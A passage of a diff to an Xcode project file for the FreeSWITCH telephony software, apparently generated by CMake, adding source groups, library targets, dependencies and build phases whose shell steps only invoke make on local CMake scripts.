+				4AAE304AAE304AAE30000000 /* switch_core_codec.c */,
+				4AB4704AB4704AB470000000 /* switch_core_file.c */,
+				4ABF304ABF304ABF30000000 /* switch_core_hash.c */,
+				4AC9F04AC9F04AC9F0000000 /* switch_core_sqldb.c */,
+				4AD4B04AD4B04AD4B0000000 /* switch_core_session.c */,
+				4AE3E04AE3E04AE3E0000000 /* switch_core_directory.c */,
+				4AEF504AEF504AEF50000000 /* switch_core_state_machine.c */,
+				4AEFC04AEFC04AEFC0000000 /* switch_core_io.c */,
+				4B00304B00304B0030000000 /* switch_core_rwlock.c */,
+				4B0F604B0F604B0F60000000 /* switch_core_port_allocator.c */,
+				4B0FD04B0FD04B0FD0000000 /* switch_core.c */,
+				4B20604B20604B2060000000 /* switch_scheduler.c */,
+				4B2B204B2B204B2B20000000 /* switch_core_db.c */,
+				4B35E04B35E04B35E0000000 /* switch_dso.c */,
+				4B40A04B40A04B40A0000000 /* switch_loadable_module.c */,
+				4B4FC04B4FC04B4FC0000000 /* switch_utils.c */,
+				4B56404B56404B5640000000 /* switch_event.c */,
+				4B61004B61004B6100000000 /* switch_resample.c */,
+				4B6BC04B6BC04B6BC0000000 /* switch_regex.c */,
+				4B76804B76804B7680000000 /* switch_rtp.c */,
+				4B81404B81404B8140000000 /* switch_ivr_bridge.c */,
+				4B8C004B8C004B8C00000000 /* switch_ivr_originate.c */,
+				4AEED04AEED04AEED0000000 /* switch_ivr_async.c */,
+				4BA2904BA2904BA290000000 /* switch_ivr_play_say.c */,
+				4BB1C04BB1C04BB1C0000000 /* switch_ivr_menu.c */,
+				4BB8004BB8004BB800000000 /* switch_ivr.c */,
+				4BC2C04BC2C04BC2C0000000 /* switch_stun.c */,
+				4BCD804BCD804BCD80000000 /* switch_log.c */,
+				4BD8404BD8404BD840000000 /* switch_xml.c */,
+				4BE3004BE3004BE300000000 /* switch_config.c */,
+				4BEDC04BEDC04BEDC0000000 /* switch_time.c */,
+				4BF8804BF8804BF880000000 /* stfu.c */,
+				4C03404C03404C0340000000 /* switch_cpp.cpp */,
+				4C0E004C0E004C0E00000000 /* g711.c */,
+				4C1CB04C1CB04C1CB0000000 /* switch_pcm.c */,
+				4C23004C23004C2300000000 /* libteletone_detect.c */,
+				4C27704C27704C2770000000 /* libteletone_generate.c */,
+			);
+			name = "Source Files";
+			sourceTree = "<group>";
+		};
+		48A97048A97048A970000000 /* Header Files */ = {
+			isa = PBXGroup;
+			children = (
+				4C32C04C32C04C32C0000000 /* switch_am_config.h */,
+				4999A04999A04999A0000000 /* switch.h */,
+				4C4F504C4F504C4F50000000 /* switch_apr.h */,
+				4C56004C56004C5600000000 /* switch_buffer.h */,
+				4C60D04C60D04C60D0000000 /* switch_caller.h */,
+				4C6BB04C6BB04C6BB0000000 /* switch_channel.h */,
+				4C7AD04C7AD04C7AD0000000 /* switch_console.h */,
+				4C85B04C85B04C85B0000000 /* switch_core_event_hook.h */,
+				4C86404C86404C8640000000 /* switch_scheduler.h */,
+				4C9BB04C9BB04C9BB0000000 /* switch_core.h */,
+				4CA2604CA2604CA260000000 /* switch_core_db.h */,
+				4CB1704CB1704CB170000000 /* switch_config.h */,
+				4CB7F04CB7F04CB7F0000000 /* switch_event.h */,
+				4CC2C04CC2C04CC2C0000000 /* switch_frame.h */,
+				4CCD904CCD904CCD90000000 /* switch_ivr.h */,
+				4CD8504CD8504CD850000000 /* switch_dso.h */,
+				4CE3104CE3104CE310000000 /* switch_loadable_module.h */,
+				4CE7804CE7804CE780000000 /* switch_module_interfaces.h */,
+				4CF3004CF3004CF300000000 /* switch_platform.h */,
+				4D08504D08504D0850000000 /* switch_resample.h */,
+				4D13304D13304D1330000000 /* switch_regex.h */,
+				4D19B04D19B04D19B0000000 /* switch_types.h */,
+				4D24804D24804D2480000000 /* switch_utils.h */,
+				4D2F504D2F504D2F50000000 /* switch_rtp.h */,
+				4D3A104D3A104D3A10000000 /* switch_stun.h */,
+				4D44D04D44D04D44D0000000 /* switch_log.h */,
+				4D4F904D4F904D4F90000000 /* switch_xml.h */,
+				4D5A504D5A504D5A50000000 /* switch_cpp.h */,
+				4D65104D65104D6510000000 /* libteletone_detect.h */,
+				4D69804D69804D6980000000 /* libteletone_generate.h */,
+				4D74D04D74D04D74D0000000 /* libteletone.h */,
+				4D7FA04D7FA04D7FA0000000 /* switch_odbc.h */,
+			);
+			name = "Header Files";
+			sourceTree = "<group>";
+		};
+		48C1D048C1D048C1D0000000 /* Source Files */ = {
+			isa = PBXGroup;
+			children = (
+				4CF2804CF2804CF280000000 /* resample.c */,
+				4E37F04E37F04E37F0000000 /* filterkit.c */,
+				4E42704E42704E4270000000 /* resamplesubs.c */,
+			);
+			name = "Source Files";
+			sourceTree = "<group>";
+		};
+		48C75048C75048C750000000 /* Header Files */ = {
+			isa = PBXGroup;
+			children = (
+				4E43004E43004E4300000000 /* libresample.h */,
+			);
+			name = "Header Files";
+			sourceTree = "<group>";
+		};
+		48CB2048CB2048CB20000000 /* teletone */ = {
+			isa = PBXGroup;
+			children = (
+				48CF6048CF6048CF60000000 /* Header Files */,
+				48D3D048D3D048D3D0000000 /* Source Files */,
+			);
+			name = teletone;
+			sourceTree = "<group>";
+		};
+		48CF6048CF6048CF60000000 /* Header Files */ = {
+			isa = PBXGroup;
+			children = (
+				4D74D04D74D04D74D0000000 /* libteletone.h */,
+				4D65104D65104D6510000000 /* libteletone_detect.h */,
+				4D69804D69804D6980000000 /* libteletone_generate.h */,
+			);
+			name = "Header Files";
+			sourceTree = "<group>";
+		};
+		48D3D048D3D048D3D0000000 /* Source Files */ = {
+			isa = PBXGroup;
+			children = (
+				4C23004C23004C2300000000 /* libteletone_detect.c */,
+				4C27704C27704C2770000000 /* libteletone_generate.c */,
+			);
+			name = "Source Files";
+			sourceTree = "<group>";
+		};
+		48DA2048DA2048DA20000000 /* stfu */ = {
+			isa = PBXGroup;
+			children = (
+				48FA9048FA9048FA90000000 /* Source Files */,
+				48FEE048FEE048FEE0000000 /* Header Files */,
+			);
+			name = stfu;
+			sourceTree = "<group>";
+		};
+		48DA9048DA9048DA90000000 /* pcre */ = {
+			isa = PBXGroup;
+			children = (
+				48DEB048DEB048DEB0000000 /* Source Files */,
+				48E9F048E9F048E9F0000000 /* Header Files */,
+			);
+			name = pcre;
+			sourceTree = "<group>";
+		};
+		48DEB048DEB048DEB0000000 /* Source Files */ = {
+			isa = PBXGroup;
+			children = (
+				4FA4804FA4804FA480000000 /* pcre_compile.c */,
+				4FABD04FABD04FABD0000000 /* pcre_tables.c */,
+				4FB6904FB6904FB690000000 /* pcre_config.c */,
+				600100600100600100000000 /* pcre_try_flipped.c */,
+				601010601010601010000000 /* pcre_dfa_exec.c */,
+				6016C06016C06016C0000000 /* pcre_ucp_searchfuncs.c */,
+				602600602600602600000000 /* pcre_exec.c */,
+				602C70602C70602C70000000 /* pcre_valid_utf8.c */,
+				603740603740603740000000 /* pcre_fullinfo.c */,
+				604220604220604220000000 /* pcre_version.c */,
+				604690604690604690000000 /* dftables.c */,
+				605790605790605790000000 /* pcre_get.c */,
+				606230606230606230000000 /* pcre_xclass.c */,
+				606CF0606CF0606CF0000000 /* pcre_globals.c */,
+				6077B06077B06077B0000000 /* pcre_info.c */,
+				609810609810609810000000 /* pcre_maketables.c */,
+				60ADA060ADA060ADA0000000 /* pcre_ord2utf8.c */,
+				60BD2060BD2060BD20000000 /* pcredemo.c */,
+				60C3A060C3A060C3A0000000 /* pcre_refcount.c */,
+				60CE5060CE5060CE50000000 /* pcregrep.c */,
+				60D91060D91060D910000000 /* pcreposix.c */,
+				60F96060F96060F960000000 /* pcre_scanner_unittest.cc */,
+				6108B06108B06108B0000000 /* pcretest.c */,
+				613ED0613ED0613ED0000000 /* pcre_chartables.c */,
+			);
+			name = "Source Files";
+			sourceTree = "<group>";
+		};
+		48E9F048E9F048E9F0000000 /* Header Files */ = {
+			isa = PBXGroup;
+			children = (
+				608270608270608270000000 /* pcrecpp.h */,
+				608D30608D30608D30000000 /* pcre_internal.h */,
+				60A2E060A2E060A2E0000000 /* pcrecpparg.h */,
+				60E3D060E3D060E3D0000000 /* pcre_scanner.h */,
+				60EE9060EE9060EE90000000 /* pcreposix.h */,
+				610F30610F30610F30000000 /* pcre_stringpiece.h */,
+				6114A06114A06114A0000000 /* pcre_stringpiece.h.in */,
+				612930612930612930000000 /* ucp.h */,
+				612FB0612FB0612FB0000000 /* pcre.h */,
+				613A60613A60613A60000000 /* ucpinternal.h */,
+			);
+			name = "Header Files";
+			sourceTree = "<group>";
+		};
+		48FA9048FA9048FA90000000 /* Source Files */ = {
+			isa = PBXGroup;
+			children = (
+				4BF8804BF8804BF880000000 /* stfu.c */,
+			);
+			name = "Source Files";
+			sourceTree = "<group>";
+		};
+		48FEE048FEE048FEE0000000 /* Header Files */ = {
+			isa = PBXGroup;
+			children = (
+				61F2B061F2B061F2B0000000 /* stfu.h */,
+			);
+			name = "Header Files";
+			sourceTree = "<group>";
+		};
 /* End PBXGroup section */
 
+/* Begin PBXNativeTarget section */
+		49B9E049B9E049B9E0000000 /* freeswitch */ = {
+			isa = PBXNativeTarget;
+			buildConfigurationList = 49BDD049BDD049BDD0000000 /* Build configuration list for PBXNativeTarget "freeswitch" */;
+			buildPhases = (
+				49ABD049ABD049ABD0000000 /* CMake ReRun */,
+				49A46049A46049A460000000 /* Sources */,
+				49B28049B28049B280000000 /* CMake PostBuild Rules */,
+			);
+			buildRules = (
+			);
+			dependencies = (
+				62B83062B83062B830000000 /* PBXTargetDependency */,
+				62A1F062A1F062A1F0000000 /* PBXTargetDependency */,
+				62A96062A96062A960000000 /* PBXTargetDependency */,
+				629A30629A30629A30000000 /* PBXTargetDependency */,
+				62B0E062B0E062B0E0000000 /* PBXTargetDependency */,
+			);
+			name = freeswitch;
+			productName = freeswitch;
+			productReference = 4A2F104A2F104A2F10000000 /* freeswitch */;
+			productType = "com.apple.product-type.tool";
+		};
+		4DA6F04DA6F04DA6F0000000 /* libfreeswitch_la.a */ = {
+			isa = PBXNativeTarget;
+			buildConfigurationList = 4DAAD04DAAD04DAAD0000000 /* Build configuration list for PBXNativeTarget "libfreeswitch_la.a" */;
+			buildPhases = (
+				4D98F04D98F04D98F0000000 /* CMake ReRun */,
+				4D90604D90604D9060000000 /* Sources */,
+				4D9FA04D9FA04D9FA0000000 /* CMake PostBuild Rules */,
+			);
+			buildRules = (
+			);
+			dependencies = (
+			);
+			name = libfreeswitch_la.a;
+			productName = libfreeswitch_la.a;
+			productReference = 4E26604E26604E2660000000 /* libfreeswitch_la.a */;
+			productType = "com.apple.product-type.library.static";
+		};
+		4E68704E68704E6870000000 /* libresample.a */ = {
+			isa = PBXNativeTarget;
+			buildConfigurationList = 4E6D204E6D204E6D20000000 /* Build configuration list for PBXNativeTarget "libresample.a" */;
+			buildPhases = (
+				4E5B104E5B104E5B10000000 /* CMake ReRun */,
+				4E4DC04E4DC04E4DC0000000 /* Sources */,
+				4E61C04E61C04E61C0000000 /* CMake PostBuild Rules */,
+			);
+			buildRules = (
+			);
+			dependencies = (
+			);
+			name = libresample.a;
+			productName = libresample.a;
+			productReference = 4EE3404EE3404EE340000000 /* libresample.a */;
+			productType = "com.apple.product-type.library.static";
+		};
+		4F22D04F22D04F22D0000000 /* libteletone.a */ = {
+			isa = PBXNativeTarget;
+			buildConfigurationList = 4F27804F27804F2780000000 /* Build configuration list for PBXNativeTarget "libteletone.a" */;
+			buildPhases = (
+				4F15704F15704F1570000000 /* CMake ReRun */,
+				4EF2904EF2904EF290000000 /* Sources */,
+				4F1C204F1C204F1C20000000 /* CMake PostBuild Rules */,
+			);
+			buildRules = (
+			);
+			dependencies = (
+			);
+			name = libteletone.a;
+			productName = libteletone.a;
+			productReference = 4F9DA04F9DA04F9DA0000000 /* libteletone.a */;
+			productType = "com.apple.product-type.library.static";
+		};
+		616770616770616770000000 /* libpcre.a */ = {
+			isa = PBXNativeTarget;
+			buildConfigurationList = 6169F06169F06169F0000000 /* Build configuration list for PBXNativeTarget "libpcre.a" */;
+			buildPhases = (
+				6157E06157E06157E0000000 /* CMake ReRun */,
+				614FC0614FC0614FC0000000 /* Sources */,
+				615E90615E90615E90000000 /* CMake PostBuild Rules */,
+			);
+			buildRules = (
+			);
+			dependencies = (
+			);
+			name = libpcre.a;
+			productName = libpcre.a;
+			productReference = 61E47061E47061E470000000 /* libpcre.a */;
+			productType = "com.apple.product-type.library.static";
+		};
+		621070621070621070000000 /* libstfu.a */ = {
+			isa = PBXNativeTarget;
+			buildConfigurationList = 6212F06212F06212F0000000 /* Build configuration list for PBXNativeTarget "libstfu.a" */;
+			buildPhases = (
+				6200D06200D06200D0000000 /* CMake ReRun */,
+				61F38061F38061F380000000 /* Sources */,
+				6207B06207B06207B0000000 /* CMake PostBuild Rules */,
+			);
+			buildRules = (
+			);
+			dependencies = (
+			);
+			name = libstfu.a;
+			productName = libstfu.a;
+			productReference = 628790628790628790000000 /* libstfu.a */;
+			productType = "com.apple.product-type.library.static";
+		};
+/* End PBXNativeTarget section */
+
 /* Begin PBXProject section */
-		27FC39A90CDBA14A00BC5B29 /* Project object */ = {
+		4904E04904E04904E0000000 /* Project object */ = {
 			isa = PBXProject;
-			buildConfigurationList = 27FC39AC0CDBA14A00BC5B29 /* Build configuration list for PBXProject "freeswitch" */;
+			buildConfigurationList = 490AA0490AA0490AA0000000 /* Build configuration list for PBXProject "freeswitch" */;
 			compatibilityVersion = "Xcode 2.4";
 			hasScannedForEncodings = 0;
-			mainGroup = 27FC39A70CDBA14A00BC5B29;
+			mainGroup = 486D20486D20486D20000000;
 			projectDirPath = "";
-			projectRoot = "";
+			projectRoot = "/Users/shaneburrell/freeswitch-svn-real";
 			targets = (
+				492050492050492050000000 /* ALL_BUILD */,
+				49B9E049B9E049B9E0000000 /* freeswitch */,
+				4DA6F04DA6F04DA6F0000000 /* libfreeswitch_la.a */,
+				4E68704E68704E6870000000 /* libresample.a */,
+				4F22D04F22D04F22D0000000 /* libteletone.a */,
+				616770616770616770000000 /* libpcre.a */,
+				621070621070621070000000 /* libstfu.a */,
 			);
 		};
 /* End PBXProject section */
 
+/* Begin PBXShellScriptBuildPhase section */
+		492230492230492230000000 /* CMake ReRun */ = {
+			isa = PBXShellScriptBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+			);
+			name = "CMake ReRun";
+			runOnlyForDeploymentPostprocessing = 0;
+			shellPath = /bin/sh;
+			shellScript = "make -C /Users/shaneburrell/freeswitch-svn-real -f /Users/shaneburrell/freeswitch-svn-real/CMakeScripts/ReRunCMake.make";
+		};
+		492920492920492920000000 /* CMake Rules */ = {
+			isa = PBXShellScriptBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+			);
+			name = "CMake Rules";
+			runOnlyForDeploymentPostprocessing = 0;
+			shellPath = /bin/sh;
+			shellScript = "make -C /Users/shaneburrell/freeswitch-svn-real -f /Users/shaneburrell/freeswitch-svn-real/CMakeScripts/ALL_BUILD_cmakeRulesBuildPhase.make$CONFIGURATION all";
+		};
+		49ABD049ABD049ABD0000000 /* CMake ReRun */ = {
+			isa = PBXShellScriptBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+			);
+			name = "CMake ReRun";
+			runOnlyForDeploymentPostprocessing = 0;
+			shellPath = /bin/sh;
+			shellScript = "make -C /Users/shaneburrell/freeswitch-svn-real -f /Users/shaneburrell/freeswitch-svn-real/CMakeScripts/ReRunCMake.make";
+		};
+		49B28049B28049B280000000 /* CMake PostBuild Rules */ = {
+			isa = PBXShellScriptBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+			);
+			name = "CMake PostBuild Rules";
+			runOnlyForDeploymentPostprocessing = 0;
+			shellPath = /bin/sh;
+			shellScript = "make -C /Users/shaneburrell/freeswitch-svn-real -f /Users/shaneburrell/freeswitch-svn-real/CMakeScripts/freeswitch_postBuildPhase.make$CONFIGURATION all";
+		};
+		4D98F04D98F04D98F0000000 /* CMake ReRun */ = {
+			isa = PBXShellScriptBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+			);
+			name = "CMake ReRun";
+			runOnlyForDeploymentPostprocessing = 0;
+			shellPath = /bin/sh;
+			shellScript = "make -C /Users/shaneburrell/freeswitch-svn-real -f /Users/shaneburrell/freeswitch-svn-real/CMakeScripts/ReRunCMake.make";
+		};
+		4D9FA04D9FA04D9FA0000000 /* CMake PostBuild Rules */ = {
+			isa = PBXShellScriptBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+			);
+			name = "CMake PostBuild Rules";
+			runOnlyForDeploymentPostprocessing = 0;
+			shellPath = /bin/sh;
+			shellScript = "make -C /Users/shaneburrell/freeswitch-svn-real/src -f /Users/shaneburrell/freeswitch-svn-real/src/CMakeScripts/freeswitch_la_postBuildPhase.make$CONFIGURATION all";
+		};
+		4E5B104E5B104E5B10000000 /* CMake ReRun */ = {
+			isa = PBXShellScriptBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+			);
+			name = "CMake ReRun";
+			runOnlyForDeploymentPostprocessing = 0;
+			shellPath = /bin/sh;
+			shellScript = "make -C /Users/shaneburrell/freeswitch-svn-real -f /Users/shaneburrell/freeswitch-svn-real/CMakeScripts/ReRunCMake.make";
+		};
+		4E61C04E61C04E61C0000000 /* CMake PostBuild Rules */ = {
+			isa = PBXShellScriptBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+			);
+			name = "CMake PostBuild Rules";
+			runOnlyForDeploymentPostprocessing = 0;
+			shellPath = /bin/sh;
+			shellScript = "make -C /Users/shaneburrell/freeswitch-svn-real/libs/libresample -f /Users/shaneburrell/freeswitch-svn-real/libs/libresample/CMakeScripts/resample_postBuildPhase.make$CONFIGURATION all";
+		};
+		4F15704F15704F1570000000 /* CMake ReRun */ = {
+			isa = PBXShellScriptBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+			);
+			name = "CMake ReRun";
+			runOnlyForDeploymentPostprocessing = 0;
+			shellPath = /bin/sh;
+			shellScript = "make -C /Users/shaneburrell/freeswitch-svn-real -f /Users/shaneburrell/freeswitch-svn-real/CMakeScripts/ReRunCMake.make";
+		};
+		4F1C204F1C204F1C20000000 /* CMake PostBuild Rules */ = {
+			isa = PBXShellScriptBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+			);
+			name = "CMake PostBuild Rules";
+			runOnlyForDeploymentPostprocessing = 0;
+			shellPath = /bin/sh;
+			shellScript = "make -C /Users/shaneburrell/freeswitch-svn-real/libs/libteletone -f /Users/shaneburrell/freeswitch-svn-real/libs/libteletone/CMakeScripts/teletone_postBuildPhase.make$CONFIGURATION all";
+		};
+		6157E06157E06157E0000000 /* CMake ReRun */ = {
+			isa = PBXShellScriptBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+			);
+			name = "CMake ReRun";
+			runOnlyForDeploymentPostprocessing = 0;
+			shellPath = /bin/sh;
+			shellScript = "make -C /Users/shaneburrell/freeswitch-svn-real -f /Users/shaneburrell/freeswitch-svn-real/CMakeScripts/ReRunCMake.make";
+		};
+		615E90615E90615E90000000 /* CMake PostBuild Rules */ = {
+			isa = PBXShellScriptBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+			);
+			name = "CMake PostBuild Rules";
+			runOnlyForDeploymentPostprocessing = 0;
+			shellPath = /bin/sh;
+			shellScript = "make -C /Users/shaneburrell/freeswitch-svn-real/libs/pcre -f /Users/shaneburrell/freeswitch-svn-real/libs/pcre/CMakeScripts/pcre_postBuildPhase.make$CONFIGURATION all";
+		};
+		6200D06200D06200D0000000 /* CMake ReRun */ = {
+			isa = PBXShellScriptBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+			);
+			name = "CMake ReRun";
+			runOnlyForDeploymentPostprocessing = 0;
+			shellPath = /bin/sh;
+			shellScript = "make -C /Users/shaneburrell/freeswitch-svn-real -f /Users/shaneburrell/freeswitch-svn-real/CMakeScripts/ReRunCMake.make";
+		};
+		6207B06207B06207B0000000 /* CMake PostBuild Rules */ = {
+			isa = PBXShellScriptBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+			);
+			name = "CMake PostBuild Rules";
+			runOnlyForDeploymentPostprocessing = 0;
+			shellPath = /bin/sh;
+			shellScript = "make -C /Users/shaneburrell/freeswitch-svn-real/libs/stfu -f /Users/shaneburrell/freeswitch-svn-real/libs/stfu/CMakeScripts/stfu_postBuildPhase.make$CONFIGURATION all";
+		};
+/* End PBXShellScriptBuildPhase section */
+
+/* Begin PBXSourcesBuildPhase section */
+		49A46049A46049A460000000 /* Sources */ = {
+			isa = PBXSourcesBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+				499420499420499420000000 /* switch.c in Sources */,
+			);
+			runOnlyForDeploymentPostprocessing = 0;
+		};
+		4D90604D90604D9060000000 /* Sources */ = {
+			isa = PBXSourcesBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+				4A38304A38304A3830000000 /* switch_apr.c in Sources */,
+				4A42704A42704A4270000000 /* switch_buffer.c in Sources */,
+				4A4D304A4D304A4D30000000 /* switch_caller.c in Sources */,
+				4A58104A58104A5810000000 /* switch_channel.c in Sources */,
+				4A62D04A62D04A62D0000000 /* switch_console.c in Sources */,
+				4A6DE04A6DE04A6DE0000000 /* switch_core_media_bug.c in Sources */,
+				4A79004A79004A7900000000 /* switch_core_timer.c in Sources */,
+				4A83504A83504A8350000000 /* switch_core_asr.c in Sources */,
+				4A8EA04A8EA04A8EA0000000 /* switch_core_event_hook.c in Sources */,
+				4A9A104A9A104A9A10000000 /* switch_core_speech.c in Sources */,
+				4AA4504AA4504AA450000000 /* switch_core_memory.c in Sources */,
+				4AAF004AAF004AAF00000000 /* switch_core_codec.c in Sources */,
+				4AB9504AB9504AB950000000 /* switch_core_file.c in Sources */,
+				4AC4104AC4104AC410000000 /* switch_core_hash.c in Sources */,
+				4ACED04ACED04ACED0000000 /* switch_core_sqldb.c in Sources */,
+				4AD9904AD9904AD990000000 /* switch_core_session.c in Sources */,
+				4AE5404AE5404AE540000000 /* switch_core_directory.c in Sources */,
+				4AF0304AF0304AF030000000 /* switch_core_state_machine.c in Sources */,
+				4AFA904AFA904AFA90000000 /* switch_core_io.c in Sources */,
+				4B05104B05104B0510000000 /* switch_core_rwlock.c in Sources */,
+				4B10404B10404B1040000000 /* switch_core_port_allocator.c in Sources */,
+				4B1B204B1B204B1B20000000 /* switch_core.c in Sources */,
+				4B25404B25404B2540000000 /* switch_scheduler.c in Sources */,
+				4B30004B30004B3000000000 /* switch_core_db.c in Sources */,
+				4B3B204B3B204B3B20000000 /* switch_dso.c in Sources */,
+				4B45904B45904B4590000000 /* switch_loadable_module.c in Sources */,
+				4B50904B50904B5090000000 /* switch_utils.c in Sources */,
+				4B5B204B5B204B5B20000000 /* switch_event.c in Sources */,
+				4B65E04B65E04B65E0000000 /* switch_resample.c in Sources */,
+				4B70A04B70A04B70A0000000 /* switch_regex.c in Sources */,
+				4B7BC04B7BC04B7BC0000000 /* switch_rtp.c in Sources */,
+				4B86204B86204B8620000000 /* switch_ivr_bridge.c in Sources */,
+				4B90C04B90C04B90C0000000 /* switch_ivr_originate.c in Sources */,
+				4B9CE04B9CE04B9CE0000000 /* switch_ivr_async.c in Sources */,
+				4BA7704BA7704BA770000000 /* switch_ivr_play_say.c in Sources */,
+				4BB2904BB2904BB290000000 /* switch_ivr_menu.c in Sources */,
+				4BBD404BBD404BBD40000000 /* switch_ivr.c in Sources */,
+				4BC8004BC8004BC800000000 /* switch_stun.c in Sources */,
+				4BD2C04BD2C04BD2C0000000 /* switch_log.c in Sources */,
+				4BDD804BDD804BDD80000000 /* switch_xml.c in Sources */,
+				4BE7E04BE7E04BE7E0000000 /* switch_config.c in Sources */,
+				4BF3004BF3004BF300000000 /* switch_time.c in Sources */,
+				4BFDC04BFDC04BFDC0000000 /* stfu.c in Sources */,
+				4C08204C08204C0820000000 /* switch_cpp.cpp in Sources */,
+				4C12A04C12A04C12A0000000 /* g711.c in Sources */,
+				4C1DA04C1DA04C1DA0000000 /* switch_pcm.c in Sources */,
+				4C28004C28004C2800000000 /* libteletone_detect.c in Sources */,
+				4C33304C33304C3330000000 /* libteletone_generate.c in Sources */,
+			);
+			runOnlyForDeploymentPostprocessing = 0;
+		};
+		4E4DC04E4DC04E4DC0000000 /* Sources */ = {
+			isa = PBXSourcesBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+				4E2E004E2E004E2E00000000 /* resample.c in Sources */,
+				4E38C04E38C04E38C0000000 /* filterkit.c in Sources */,
+				4E43704E43704E4370000000 /* resamplesubs.c in Sources */,
+			);
+			runOnlyForDeploymentPostprocessing = 0;
+		};
+		4EF2904EF2904EF290000000 /* Sources */ = {
+			isa = PBXSourcesBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+				4EF3004EF3004EF300000000 /* libteletone_detect.c in Sources */,
+				4EFF804EFF804EFF80000000 /* libteletone_generate.c in Sources */,
+			);
+			runOnlyForDeploymentPostprocessing = 0;
+		};
+		614FC0614FC0614FC0000000 /* Sources */ = {
+			isa = PBXSourcesBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+				4FA6604FA6604FA660000000 /* pcre_compile.c in Sources */,
+				4FB0F04FB0F04FB0F0000000 /* pcre_tables.c in Sources */,
+				4FBB504FBB504FBB50000000 /* pcre_config.c in Sources */,
+				600670600670600670000000 /* pcre_try_flipped.c in Sources */,
+				601100601100601100000000 /* pcre_dfa_exec.c in Sources */,
+				601C70601C70601C70000000 /* pcre_ucp_searchfuncs.c in Sources */,
+				6026C06026C06026C0000000 /* pcre_exec.c in Sources */,
+				603130603130603130000000 /* pcre_valid_utf8.c in Sources */,
+				603C90603C90603C90000000 /* pcre_fullinfo.c in Sources */,
+				6047C06047C06047C0000000 /* pcre_version.c in Sources */,
+				605220605220605220000000 /* dftables.c in Sources */,
+				605CB0605CB0605CB0000000 /* pcre_get.c in Sources */,
+				606780606780606780000000 /* pcre_xclass.c in Sources */,
+				607240607240607240000000 /* pcre_globals.c in Sources */,
+				607C60607C60607C60000000 /* pcre_info.c in Sources */,
+				609CD0609CD0609CD0000000 /* pcre_maketables.c in Sources */,
+				60B26060B26060B260000000 /* pcre_ord2utf8.c in Sources */,
+				60BDE060BDE060BDE0000000 /* pcredemo.c in Sources */,
+				60C8C060C8C060C8C0000000 /* pcre_refcount.c in Sources */,
+				60D30060D30060D300000000 /* pcregrep.c in Sources */,
+				60DDC060DDC060DDC0000000 /* pcreposix.c in Sources */,
+				60FE1060FE1060FE10000000 /* pcre_scanner_unittest.cc in Sources */,
+				610930610930610930000000 /* pcretest.c in Sources */,
+				614A00614A00614A00000000 /* pcre_chartables.c in Sources */,
+			);
+			runOnlyForDeploymentPostprocessing = 0;
+		};
+		61F38061F38061F380000000 /* Sources */ = {
+			isa = PBXSourcesBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+				60B8B060B8B060B8B0000000 /* stfu.c in Sources */,
+			);
+			runOnlyForDeploymentPostprocessing = 0;
+		};
+/* End PBXSourcesBuildPhase section */
+
+/* Begin PBXTargetDependency section */
+		629320629320629320000000 /* PBXTargetDependency */ = {
+			isa = PBXTargetDependency;
+			target = 49B9E049B9E049B9E0000000 /* freeswitch */;
+			targetProxy = 628E90628E90628E90000000 /* PBXContainerItemProxy */;
+		};
+		629A30629A30629A30000000 /* PBXTargetDependency */ = {
+			isa = PBXTargetDependency;
+			target = 4DA6F04DA6F04DA6F0000000 /* libfreeswitch_la.a */;
+			targetProxy = 6295B06295B06295B0000000 /* PBXContainerItemProxy */;
+		};
+		62A1F062A1F062A1F0000000 /* PBXTargetDependency */ = {
+			isa = PBXTargetDependency;
+			target = 616770616770616770000000 /* libpcre.a */;
+			targetProxy = 629CF0629CF0629CF0000000 /* PBXContainerItemProxy */;
+		};
+		62A96062A96062A960000000 /* PBXTargetDependency */ = {
+			isa = PBXTargetDependency;
+			target = 4E68704E68704E6870000000 /* libresample.a */;
+			targetProxy = 62A46062A46062A460000000 /* PBXContainerItemProxy */;
+		};
+		62B0E062B0E062B0E0000000 /* PBXTargetDependency */ = {
+			isa = PBXTargetDependency;
+			target = 621070621070621070000000 /* libstfu.a */;
+			targetProxy = 62ABF062ABF062ABF0000000 /* PBXContainerItemProxy */;
+		};
+		62B83062B83062B830000000 /* PBXTargetDependency */ = {
+			isa = PBXTargetDependency;
+			target = 4F22D04F22D04F22D0000000 /* libteletone.a */;
+			targetProxy = 62B37062B37062B370000000 /* PBXContainerItemProxy */;
+		};
+/* End PBXTargetDependency section */
+
 /* Begin XCBuildConfiguration section */
-		27FC39AA0CDBA14A00BC5B29 /* Debug */ = {
+		490B80490B80490B80000000 /* Debug */ = {
 			isa = XCBuildConfiguration;
 			buildSettings = {
-				COPY_PHASE_STRIP = NO;
 			};
 			name = Debug;
 		};
-		27FC39AB0CDBA14A00BC5B29 /* Release */ = {
+		490D40490D40490D40000000 /* Release */ = {
 			isa = XCBuildConfiguration;
 			buildSettings = {
-				COPY_PHASE_STRIP = YES;
 			};
 			name = Release;
 		};
+		490EF0490EF0490EF0000000 /* MinSizeRel */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+			};
+			name = MinSizeRel;
+		};
+		491170491170491170000000 /* RelWithDebInfo */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+			};
+			name = RelWithDebInfo;
+		};
+		4935F04935F04935F0000000 /* Debug */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				GCC_GENERATE_DEBUGGING_SYMBOLS = NO;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = 0;
+				GCC_PREPROCESSOR_DEFINITIONS = (
